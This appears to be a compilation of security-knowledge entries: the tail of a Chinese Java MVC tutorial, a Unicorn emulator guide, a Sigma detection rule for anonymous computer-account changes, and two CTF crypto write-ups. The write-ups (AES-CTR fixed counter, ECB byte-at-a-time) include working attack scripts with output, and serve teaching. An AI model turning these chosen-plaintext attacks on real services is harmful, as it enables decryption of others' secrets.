input.transferTo(output); } output.flush(); } } ``` 运行代码,在浏览器中输入 URL http://localhost:8080/hello?name=Bob 可以看到如下页面: 为了把方法参数的名称编译到 class 文件中,以便处理 `@GetMapping` 时使用,我们需要打开编译器的一个参数,在 Eclipse 中勾选 Preferences-Java-Compiler-Store information about method parameters (usable via reflection);在 Idea 中选择 Preferences-Build, Execution, Deployment-Compiler-Java Compiler-Additional command line parameters,填入 - parameters;在 Maven 的 pom.xml 添加一段配置如下: ```xml <project ...> <modelVersion>4.0.0</modelVersion> ... <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <compilerArgs> <arg>-parameters</arg> </compilerArgs> </configuration> </plugin> </plugins> </build> </project> ``` 本次实现的这个 MVC 框架,上层代码使用的公共类如 `GetMapping`、`PostMapping` 和 `ModelAndView` 都和 Spring MVC 非常类似。实际上,我们这个 MVC 框架主要参考就是 Spring MVC,通过实现一个 “简化版”MVC,可以掌握 Java Web MVC 开发的核心思想与原理,对将来直接使用 Spring MVC 是非常有帮助的。 --- ## Source & Reference - https://www.liaoxuefeng.com/wiki/1252599548343744/1266264917931808 - https://www.liaoxuefeng.com/wiki/1252599548343744/1337408645759009
sec-knowleage
# eleCTRic Cryptography, 400 points ## Description: > You came across a custom server that Dr Xernon's company eleCTRic Ltd uses. It seems to be storing some encrypted files. Can you get us the flag? ```python #!/usr/bin/python from Crypto import Random from Crypto.Cipher import AES import sys import time import binascii class AESCipher(object): def __init__(self): self.bs = 32 random = Random.new() self.key = random.read(AES.block_size) self.ctr = random.read(AES.block_size) def encrypt(self, raw): cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) return cipher.encrypt(raw).encode('base64').replace('\n', '') def decrypt(self, enc): try: enc = enc.decode('base64') except binascii.Error: return None cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) return cipher.decrypt(enc) class Unbuffered(object): def __init__(self, stream): self.stream = stream def write(self, data): self.stream.write(data) self.stream.flush() def writelines(self, datas): self.stream.writelines(datas) self.stream.flush() def __getattr__(self, attr): return getattr(self.stream, attr) sys.stdout = Unbuffered(sys.stdout) def get_flag(): try: with open("flag.txt") as f: return f.read().strip() except IOError: return "picoCTF{xxxFAKEFLAGxxx} Something went wrong. Contact organizers." def welcome(): print "Welcome to eleCTRic Ltd's Safe Crypto Storage" print "---------------------------------------------" def menu(): print "" print "Choices:" print " E[n]crypt and store file" print " D[e]crypt file" print " L[i]st files" print " E[x]it" while True: choice = raw_input("Please choose: ") if choice in list('neix'): print "" return choice def do_encrypt(aes, files): filename = raw_input("Name of file? ") if any(x in filename for x in '._/\\ '): print "Disallowed characters" return filename += '.txt' if filename in files: if raw_input("Clobber previously existing file? [yN] ") != 'y': return data = raw_input("Data? ") files[filename] = aes.encrypt(data) print "Share code:" print aes.encrypt(filename) def do_decrypt(aes, files): enc = raw_input("Share code? ") filename = aes.decrypt(enc) if filename is None: print "Invalid share code" return if filename in files: print "Data: " print aes.decrypt(files[filename]) else: print "Could not find file" return def do_list_files(files): print "Files:" for f in files: print " " + f def main(): print "Initializing Problem..." aes = AESCipher() flag = get_flag() flag_file_name = "flag_%s" % Random.new().read(10).encode('hex') files = {flag_file_name + ".txt": aes.encrypt(flag)} welcome() while True: choice = menu() if choice == 'n': # Encrypt do_encrypt(aes, files) elif choice == 'e': # Decrypt do_decrypt(aes, files) elif choice == 'i': # List files do_list_files(files) elif choice == 'x': # Exit break else: print "Impossible! Contact contest admins." sys.exit(1) main() ``` ## Solution: Connecting to the service, we can choose to encrypt, decrypt or list files. If we start by listing files, we see the flag file is already there: ``` root@kali:/media/sf_CTFs/pico/Radixs_Terminal# nc 2018shell3.picoctf.com 15037 Initializing Problem... Welcome to eleCTRic Ltd's Safe Crypto Storage --------------------------------------------- Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: i Files: flag_5747f8d4060b328f0fbc.txt ``` However, in order to decrypt it, we need the encrypted name of the file, which is received only during encryption: ``` Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: n Name of file? test Data? a Share code: HzoBdxcjpWM= Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: e Share code? HzoBdxcjpWM= Data: a ``` According to the source code, encryption is performed by AES-CTR: ```python cipher = AES.new(self.key, AES.MODE_CTR, counter=lambda: self.ctr) ``` However, the counter is implemented as a constant, when in fact it should change for each block (more about this [here](https://ctftime.org/writeup/7199)): ```python self.ctr = random.read(AES.block_size) ``` This means that instead of a stream cipher, AES-CTR is being reduced to a block cipher where throughout each session, the nth block of the plaintext will always be encrypted to the same ciphertext. Furthermore, the encrypted nth block of two plaintexts which differ by x bytes will only differ by x bytes as well. Let's see an example: ``` root@kali:/media/sf_CTFs/pico/Radixs_Terminal# nc 2018shell3.picoctf.com 15037 Initializing Problem... Welcome to eleCTRic Ltd's Safe Crypto Storage --------------------------------------------- Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: n Name of file? test Data? a Share code: xrJuQaPVc2o= Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: n Name of file? tess Data? b Share code: xrJuRqPVc2o= Choices: E[n]crypt and store file D[e]crypt file L[i]st files E[x]it Please choose: x root@kali:/media/sf_CTFs/pico/Radixs_Terminal# echo "xrJuQaPVc2o=" | base64 -d && echo ƲnAsj root@kali:/media/sf_CTFs/pico/Radixs_Terminal# echo "xrJuRqPVc2o=" | base64 -d && echo ƲnFsj ``` We can see that "test" got encrypted to "ƲnAsj", and "tess" got encrypted to "ƲnFsj", where only the "A" and "F" differ. So, if the name of the flag file is "flag_5747f8d4060b328f0fbc.txt", we can encrypt a file called "flagX5747f8d4060b328f0fbc.txt" and then brute force all possibilities for the encrypted byte in X's location until we get the correct one. The code: ```python from pwn import * import base64 import re r = remote("2018shell3.picoctf.com", 15037) def list_files(): log.info("Listing files") r.sendlineafter("Please choose:", "i") r.recvuntil("Files:") out = r.recvuntil("\n\n") return out def encrypt(file_name, data): log.info("Encrypting file: Name: '{}', Data: '{}'".format(file_name, data)) r.sendlineafter("Please choose:", "n") r.sendlineafter("Name of file? ", file_name) r.sendlineafter("Data? ", data) r.recvline() code = r.recvline() log.info("Base64 Code: {}".format(code)) return code def decrypt(file_name): log.info("Requesting to decrypt file '{}'".format(file_name)) r.sendlineafter("Please choose:", "e") r.sendlineafter("Share code? ", file_name) line = r.recvline() if "Data:" in line: until = "Choices:" out = r.recvuntil(until) return out[:-len(until)].rstrip() elif "Could not find file" in line: log.warning("File not found") return None out = list_files() flag_match = re.search("(flag_[^.]+)\.txt", out) flag_basename = flag_match.group(1) log.info("Flag file: {}".format(flag_basename)) code_b64 = encrypt(flag_basename.replace("_", "X"), "a") code = base64.b64decode(code_b64) log.info("Code: {}".format(enhex(code))) for i in range(256): x = code[:4] + chr(i) + code[5:] if x == code: continue out = decrypt(base64.b64encode(x)) if out is not None: log.success("Flag: {}".format(out)) break ``` The output: ```console root@kali:/media/sf_CTFs/pico/eleCTRic# python exploit.py [+] Opening connection to 2018shell3.picoctf.com on port 15037: Done [*] Listing files [*] Flag file: flag_0443c2f2f396a1393e76 [*] Encrypting file: Name: 'flagX0443c2f2f396a1393e76', Data: 'a' [*] Base64 Code: G0c3ZCEdVNzsA2/V2goEjktKZzBAHgXf6U4py5w= [*] Code: 1b473764211d54dcec036fd5da0a048e4b4a6730401e05dfe94e29cb9c [*] Requesting to decrypt file 'G0c3ZAAdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAEdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAIdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAMdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAQdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAUdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAYdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAcdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAgdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAkdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAodVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAsdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZAwdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZA0dVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZA4dVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZA8dVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBAdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBEdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBIdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBMdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBQdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBUdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBYdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBcdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBgdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBkdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBodVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBsdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZBwdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZB0dVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZB4dVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZB8dVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZCAdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZCIdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZCMdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZCQdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZCUdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [!] File not found [*] Requesting to decrypt file 'G0c3ZCYdVNzsA2/V2goEjktKZzBAHgXf6U4py5w=' [+] Flag: picoCTF{alw4ys_4lways_Always_check_int3grity_9d5e42a2} [*] Closed connection to 2018shell3.picoctf.com port 15037 ``` The flag: picoCTF{alw4ys_4lways_Always_check_int3grity_9d5e42a2}
sec-knowleage
import r2pipe, sys r2=r2pipe.open("iof.elf") s=r2.cmd("p8 4 @ "+sys.argv[1]) s=s[6:8]+s[4:6]+s[2:4]+s[0:2] print s print r2.cmd("xr 4 @ "+sys.argv[1]+"") r=open("esp32.rom").readlines() for l in r: if s in l: print l
sec-knowleage
# Unicorn Engine简介 ## 什么是Unicorn引擎 Unicorn是一个轻量级, 多平台, 多架构的CPU模拟器框架. 我们可以更好地关注CPU操作, 忽略机器设备的差异. 想象一下, 我们可以将其应用于这些情景: 比如我们单纯只是需要模拟代码的执行而非需要一个真的CPU去完成那些操作, 又或者想要更安全地分析恶意代码, 检测病毒特征, 或者想要在逆向过程中验证某些代码的含义. 使用CPU模拟器可以很好地帮助我们提供便捷. 它的亮点(这也归功于Unicorn是基于[qemu](http://www.qemu.org)而开发的)有: * 支持多种架构: Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64). * 对Windows和*nix系统(已确认包含Mac OSX, Linux, *BSD & Solaris)的原生支持 * 具有平台独立且简洁易于使用的API * 使用JIT编译技术, 性能表现优异 你可以在[Black Hat USA 2015](http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf)获悉有关Unicorn引擎的更多技术细节. Github项目主页: [unicorn](https://github.com/unicorn-engine/unicorn) 尽管它不同寻常, 但它无法模拟整个程序或系统, 也不支持系统调用. 你需要手动映射内存并写入数据进去, 随后你才能从指定地址开始模拟. ## 应用的情景 什么时候能够用到Unicorn引擎呢? * 你可以调用恶意软件中一些有趣的函数, 而不用创建一个有害的进程. * 用于CTF竞赛 * 用于模糊测试 * 用于gdb插件, 基于代码模拟执行的插件 * 模拟执行一些混淆代码 ## 如何安装 安装Unicorn最简单的方式就是使用pip安装, 只要在命令行中运行以下命令即可(这是适合于喜爱用python的用户的安装方法, 对于那些想要使用C的用户, 则需要去官网查看文档编译源码包): ``` shell pip install unicorn ``` 但如果你想用源代码进行本地编译的话, 你需要在[下载](http://www.unicorn-engine.org/download/)页面中下载源代码包, 然后可以按照以下命令执行: * *nix 平台用户 ``` shell $ cd bindings/python $ sudo make install ``` * Windows平台用户 ``` shell cd bindings/python python setup.py install ``` 对于Windows, 在执行完上述命令后, 还需要将[下载](http://www.unicorn-engine.org/download/)页面的`Windows core engine`的所有dll文件复制到`C:\locationtopython\Lib\site-packages\unicorn`位置处. ## 使用unicorn的快速指南 我们将会展示如何使用python调用unicorn的api以及它是如何轻易地模拟二进制代码. 当然这里用的api仅是一小部分, 但对于入门已经足够了. ``` python 1 from __future__ import print_function 2 from unicorn import * 3 from unicorn.x86_const import * 4 5 # code to be emulated 6 X86_CODE32 = b"\x41\x4a" # INC ecx; DEC edx 7 8 # memory address where emulation starts 9 ADDRESS = 0x1000000 10 11 print("Emulate i386 code") 12 try: 13 # Initialize emulator in X86-32bit mode 14 mu = Uc(UC_ARCH_X86, UC_MODE_32) 15 16 # map 2MB memory for this emulation 17 mu.mem_map(ADDRESS, 2 * 1024 * 1024) 18 19 # write machine code to be emulated to memory 20 mu.mem_write(ADDRESS, X86_CODE32) 21 22 # initialize machine registers 23 mu.reg_write(UC_X86_REG_ECX, 0x1234) 24 mu.reg_write(UC_X86_REG_EDX, 0x7890) 25 26 # emulate code in infinite time & unlimited instructions 27 mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32)) 28 29 # now print out some registers 30 print("Emulation done. Below is the CPU context") 31 32 r_ecx = mu.reg_read(UC_X86_REG_ECX) 33 r_edx = mu.reg_read(UC_X86_REG_EDX) 34 print(">>> ECX = 0x%x" %r_ecx) 35 print(">>> EDX = 0x%x" %r_edx) 36 37 except UcError as e: 38 print("ERROR: %s" % e) ``` 运行结果如下: ``` shell $ python test1.py Emulate i386 code Emulation done. Below is the CPU context >>> ECX = 0x1235 >>> EDX = 0x788f ``` 样例里的注释已经非常直观, 但我们还是对每一行代码做出解释: * 行号2~3: 在使用Unicorn前导入`unicorn`模块. 样例中使用了一些x86寄存器常量, 所以也需要导入`unicorn.x86_const`模块 * 行号6: 这是我们需要模拟的二进制机器码, 使用十六进制表示, 代表的汇编指令是: "INC ecx" 和 "DEC edx". * 行号9: 我们将模拟执行上述指令的所在虚拟地址 * 行号14: 使用`Uc`类初始化Unicorn, 该类接受2个参数: 硬件架构和硬件位数(模式). 在样例中我们需要模拟执行x86架构的32位代码, 我 们使用变量`mu`来接受返回值. * 行号17: 使用`mem_map `方法根据在行号9处声明的地址, 映射2MB用于模拟执行的内存空间. 所有进程中的CPU操作都应该只访问该内存区域. 映射的内存具有默认的读,写和执行权限. * 行号20: 将需要模拟执行的代码写入我们刚刚映射的内存中. `mem_write`方法接受2个参数: 要写入的内存地址和需要写入内存的代码. * 行号23~24: 使用`reg_write`方法设置`ECX`和`EDX`寄存器的值 * 行号27: 使用`emu_start`方法开始模拟执行, 该API接受4个参数: 要模拟执行的代码地址, 模拟执行停止的内存地址(这里是 `X86_CODE32`的最后1字节处), 模拟执行的时间和需要执行的指令数目. 如果我们像样例一样忽略后两个参数, Unicorn将会默认以无穷时间和无穷指令数目的条件来模拟执行代码. * 行号32~35: 打印输出`ECX`和`EDX`寄存器的值. 我们使用函数`reg_read`来读取寄存器的值. 要想查看更多的python示例, 可以查看文件夹[bindings/python](https://github.com/unicorn-engine/unicorn/tree/master/bindings/python)下的代码. 而C的示例则可以查看[sample](https://github.com/unicorn-engine/unicorn/tree/master/samples)文件夹下的代码. ## 参考链接 * [Unicorn Official Site](http://www.unicorn-engine.org/) * [Quick tutorial on programming with Unicorn - with C & Python.](http://www.unicorn-engine.org/docs/)
sec-knowleage
# T1210-win-检测到匿名计算机账户更改的使用 ## 来自ATT&CK的描述 攻击者一旦进入网络,便可能利用远程服务获得对内部系统的未授权访问。当攻击者利用程序,服务或操作系统软件或内核本身内的编程错误来执行攻击者控制的代码时,就会利用软件漏洞。建立立足点后利用远程服务的目标是横向移动以实现对远程系统的访问。 攻击者可能需要确定远程系统是否处于易受攻击状态,这可以通过网络服务扫描或其他发现方法来完成,以寻找在网络中部署的常见易受攻击软件,检测或包含远程利用的漏洞或安全软件。服务器可能是横向移动中的高价值目标,但是如果端点系统提供访问其他资源的方式,则端点系统也可能处于危险之中。 常见服务(例如SMB和RDP)以及可能在内部网络(例如MySQL)和Web服务器服务中使用的应用程序中存在多个众所周知的漏洞。 根据易受攻击的远程服务的权限级别,攻击者也可能由于横向移动利用而实现对特权升级的利用。 ## 测试案例 参考资料如下: <https://www.lares.com/blog/from-lares-labs-defensive-guidance-for-zerologon-cve-2020-1472/> ## 检测日志 windows安全日志 ## 测试复现 暂无 ## 测试留痕 暂无,仅提供检测规则相关的日志示例 windows server 2016/win10 EventID:4742 ```yml A computer account was changed. Subject: Security ID: ACME\Administrator Account Name: Administrator Account Domain: ACME Logon ID: 0x27a79 Computer Account That Was Changed: Security ID: S-1-5-21-3108364787-189202583-342365621-1109 Account Name: WS2321$ Account Domain: ACME Changed Attributes: SAM Account Name: - Display Name: - User Principal Name: - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: - Account Expires: - Primary Group ID: - AllowedToDelegateTo: - Old UAC Value: 0x85 New UAC Value: 0x84 User Account Control: Account Enabled User Parameters: - SID History: - Logon Hours: - DNS Host Name: - Service Principal Names: - Additional Information: Privileges: - ``` EventID:4624 ```yml An account was successfully logged on. Subject: Security ID: SYSTEM Account Name: DESKTOP-LLHJ389$ Account Domain: WORKGROUP Logon ID: 0x3E7 Logon Information: Logon Type: 7 Restricted Admin Mode: - Virtual Account: No Elevated Token: No Impersonation Level: Impersonation New Logon: Security ID: AzureAD\RandyFranklinSmith Account Name: [email protected] Account Domain: AzureAD Logon ID: 0xFD5113F Linked Logon ID: 0xFD5112A Network Account Name: - Network Account Domain: - Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x30c Process Name: C:\Windows\System32\lsass.exe Network Information: Workstation Name: DESKTOP-LLHJ389 Source Network Address: - Source Port: - Detailed Authentication Information: Logon Process: Negotiat Authentication Package: Negotiate Transited Services: - Package Name (NTLM only): - Key Length: 0 ``` ## 检测规则/思路 ### sigma规则 ```yml title: 检测到匿名计算机账户更改的使用 description: 通过windows安全日志,检测匿名用户更改的使用。 tags: T1210 status: experimental references: - https://github.com/splunk/security_content/blob/develop/detections/endpoint/detect_computer_changed_with_anonymous_account.yml logsource: product: windows service: security detection: selection: EventID: - “4742” - “4624” Account Name: “ANONYMOUSLOGON” Logon Type: 3 condition: selection level: medium ``` ### 建议 此搜索需要启用审核计算机帐户管理在系统上生成事件ID4742。我们强烈建议您指定特定于环境的配置(索引,源,源类型等)Windows事件日志。 ## 相关TIP [[T1210-win-异常的SMB链接行为]] ## 参考推荐 MITRE-ATT&CK-T1210 <https://attack.mitre.org/techniques/T1210> 检测到匿名计算机账户更改的使用 <https://github.com/splunk/security_content/blob/develop/detections/endpoint/detect_computer_changed_with_anonymous_account.yml>
sec-knowleage
# Extremely Covert Bytes Category: Cryptography ## Description > DuckyDebugDuck is taking Computer Security this semester and he decided to create this encryption service using an encryption he seen in class, and again he hid a flag in it, see if you can get it. ## Solution Let's connect to the attached service: ```console root@kali:/media/sf_CTFs/technion/Extremely_Covert_Bytes# nc ctf.cs.technion.ac.il 4013 ______ _ ______ _ ______ _ | _ \ | | | _ \ | | | _ \ | | | | | |_ _ ___| | ___ _| | | |___| |__ _ _ __ _| | | |_ _ ___| | __ | | | | | | |/ __| |/ / | | | | | / _ \ '_ \| | | |/ _` | | | | | | |/ __| |/ / | |/ /| |_| | (__| <| |_| | |/ / __/ |_) | |_| | (_| | |/ /| |_| | (__| < |___/ \__,_|\___|_|\_\\__, |___/ \___|_.__/ \__,_|\__, |___/ \__,_|\___|_|\_\ __/ | __/ | |___/ |___/ Enter the message you want to encrypt: > test f08e51ae8bff6986a3e3ad94c1e8efa7de53d1dd8325ce35fedcb2278090cd67 ``` So this service allows us to enter a string and have it encrypted. The challenge title hints that the encryption algorithm is [ECB](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#ECB): > The simplest of the encryption modes is the electronic codebook (ECB) mode (named after conventional physical codebooks). The message is divided into blocks, and each block is encrypted separately. > > The disadvantage of this method is a lack of diffusion. Because ECB encrypts identical plaintext blocks into identical ciphertext blocks, it does not hide data patterns well. ECB is not recommended for use in cryptographic protocols. Let's check by trying to encrypt a long message, and see if any of the encrypted blocks are identical: ```console root@kali:/media/sf_CTFs/technion/Extremely_Covert_Bytes# nc ctf.cs.technion.ac.il 4013 ______ _ ______ _ ______ _ | _ \ | | | _ \ | | | _ \ | | | | | |_ _ ___| | ___ _| | | |___| |__ _ _ __ _| | | |_ _ ___| | __ | | | | | | |/ __| |/ / | | | | | / _ \ '_ \| | | |/ _` | | | | | | |/ __| |/ / | |/ /| |_| | (__| <| |_| | |/ / __/ |_) | |_| | (_| | |/ /| |_| | (__| < |___/ \__,_|\___|_|\_\\__, |___/ \___|_.__/ \__,_|\__, |___/ \__,_|\___|_|\_\ __/ | __/ | |___/ |___/ Enter the message you want to encrypt: > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0b7103a86e5875c79f8b4acd56eb6eb00b7103a86e5875c79f8b4acd56eb6eb0236ea490346bb193105bc0d7c08516e266a2b8cf0c236433671ff3c1948934d6 Enter the message you want to encrypt: ``` We've entered 32 `a` characters, and we can see that the `0b7103a86e5875c79f8b4acd56eb6eb0` block repeats itself twice, which matches our assumption about ECB. It also tells us that the block size being used here is 16 (and therefore 32 identical characters get encrypted into two identical blocks of 16 bytes each). But what's all that after the two identical blocks? Let's try to encrypt an empty string: ```console Enter the message you want to encrypt: > 236ea490346bb193105bc0d7c08516e266a2b8cf0c236433671ff3c1948934d6 ``` Notice how we still get an output. This is common for ECB-based challenges. What happens is that the service allows us to input any string we'd like to, and then appends to it a secret string (such as the flag). We must use ECB's weaknesses to recover the secret string without knowing the key. The attack we'll use is called a [Chosen-plaintext attack](https://en.wikipedia.org/wiki/Chosen-plaintext_attack). For the sake of the explanation, let's assume that the flag is `cstechnion{this_is_a_fake_flag}` (but that the attacker doesn't know that). If the attacker tries to encrypt 15 `a` characters, the block alignment will be as follows (where P stands for padding): ``` aaaaaaaaaaaaaaacstechnion{this_is_a_fake_flag}PP |-- block #0 --||-- block #1 --||-- block #2 --| ``` Let's see it in practice (of course, the real flag is different but that doesn't matter for the sake of the example): ```console Enter the message you want to encrypt: > aaaaaaaaaaaaaaa 85be86bb45ee1adad329b1e0211e0dbd6f8e2ff1846a86c415fff222aba36dcf2433cbd5ad330b0537dfe01585021f53 ``` If we align block #0 of the result to our diagram, we get: ``` 85 be 86 bb 45 ee 1a da d3 29 b1 e0 21 1e 0d bd a a a a a a a a a a a a a a a c |------------------ block #0 -----------------| ``` Let's call this our "target block value". Now, the attacker wants to reveal the first character of the flag. So the next step is to take `aaaaaaaaaaaaaaa` and append every possible character to it: ```console Enter the message you want to encrypt: > aaaaaaaaaaaaaaaa 0b7103a86e5875c79f8b4acd56eb6eb0236ea490346bb193105bc0d7c08516e266a2b8cf0c236433671ff3c1948934d6 Enter the message you want to encrypt: > aaaaaaaaaaaaaaab 019e44fdd9dd85fd7a70cd5ca527fa1d236ea490346bb193105bc0d7c08516e266a2b8cf0c236433671ff3c1948934d6 Enter the message you want to encrypt: > aaaaaaaaaaaaaaac 85be86bb45ee1adad329b1e0211e0dbd236ea490346bb193105bc0d7c08516e266a2b8cf0c236433671ff3c1948934d6 ``` If the first block received from the encryption service is identical to the target block value, the attacker knows that the first character of the flag is the one that was used for this attempt (in our example: `c`, resulting in a block value of `85be86bb45ee1adad329b1e0211e0dbd` like we were searching for). After the first character is revealed, the process continues by removing one character from the prefix and repeating the process (first encrypting `aaaaaaaaaaaaaac` and marking the result, then appending every possible character to `aaaaaaaaaaaaaac` and looking for an identical block value). We'll use a tool called [ECB Adaptive Chosen Plaintext](https://github.com/tabneib/ecbacp) to recover the flag. It requires us to implement a method for encrypting a given string (which in our case we'll just forward to the encryption service) and takes care of the rest. Our encryption module: ```python # technion.py from pwn import * r = remote("ctf.cs.technion.ac.il", 4013) def encrypt(text): r.sendlineafter("> ", text) return r.recvline(keepends=False).decode("ascii") ``` Let's run the attack: ```console root@kali:/media/sf_CTFs/technion/Extremely_Covert_Bytes/ecbacp/ecbacp# python3 ecbacp.py --enc technion -v # ... [+] Real: a50294bbb0a858d7494652b7e60bc861 [+] Expect: 2c07cc1ff510a4369efdcabada202179 [+] Trying: cstechnion{1_byt3_4t_a_t1mb [+] Payload: AAAAAcstechnion{1_byt3_4t_a_t1mb [+] Cipher: c4efe7d57e3ac8da2b051531b04f4338 5b9c4c0dac0da611881c1243720f0a70 236ea490346bb193105bc0d7c08516e2 66a2b8cf0c236433671ff3c1948934d6 [+] Real: 5b9c4c0dac0da611881c1243720f0a70 [+] Expect: 2c07cc1ff510a4369efdcabada202179 [+] Trying: cstechnion{1_byt3_4t_a_t1mc [+] Payload: AAAAAcstechnion{1_byt3_4t_a_t1mc [+] Cipher: c4efe7d57e3ac8da2b051531b04f4338 f6de1f55eb2a0646be2c92f2e44c1d64 236ea490346bb193105bc0d7c08516e2 66a2b8cf0c236433671ff3c1948934d6 [+] Real: f6de1f55eb2a0646be2c92f2e44c1d64 [+] Expect: 2c07cc1ff510a4369efdcabada202179 [+] Trying: cstechnion{1_byt3_4t_a_t1md [+] Payload: AAAAAcstechnion{1_byt3_4t_a_t1md [+] Cipher: c4efe7d57e3ac8da2b051531b04f4338 9e352afb3b97868dea31162ce401f308 236ea490346bb193105bc0d7c08516e2 66a2b8cf0c236433671ff3c1948934d6 [+] Real: 9e352afb3b97868dea31162ce401f308 [+] Expect: 2c07cc1ff510a4369efdcabada202179 [+] Trying: cstechnion{1_byt3_4t_a_t1me [+] Payload: AAAAAcstechnion{1_byt3_4t_a_t1me [+] Cipher: c4efe7d57e3ac8da2b051531b04f4338 2c07cc1ff510a4369efdcabada202179 236ea490346bb193105bc0d7c08516e2 66a2b8cf0c236433671ff3c1948934d6 [+] Real: 2c07cc1ff510a4369efdcabada202179 [+] Expect: 2c07cc1ff510a4369efdcabada202179 [+] Found one character: e [+] Current suffix: cstechnion{1_byt3_4t_a_t1me [OK] [+] No prefix found [+] Suffix found, length: 27 [+] The suffix content is successfully brute-forced: cstechnion{1_byt3_4t_a_t1me ``` The flag: `cstechnion{1_byt3_4t_a_t1me}`.
sec-knowleage
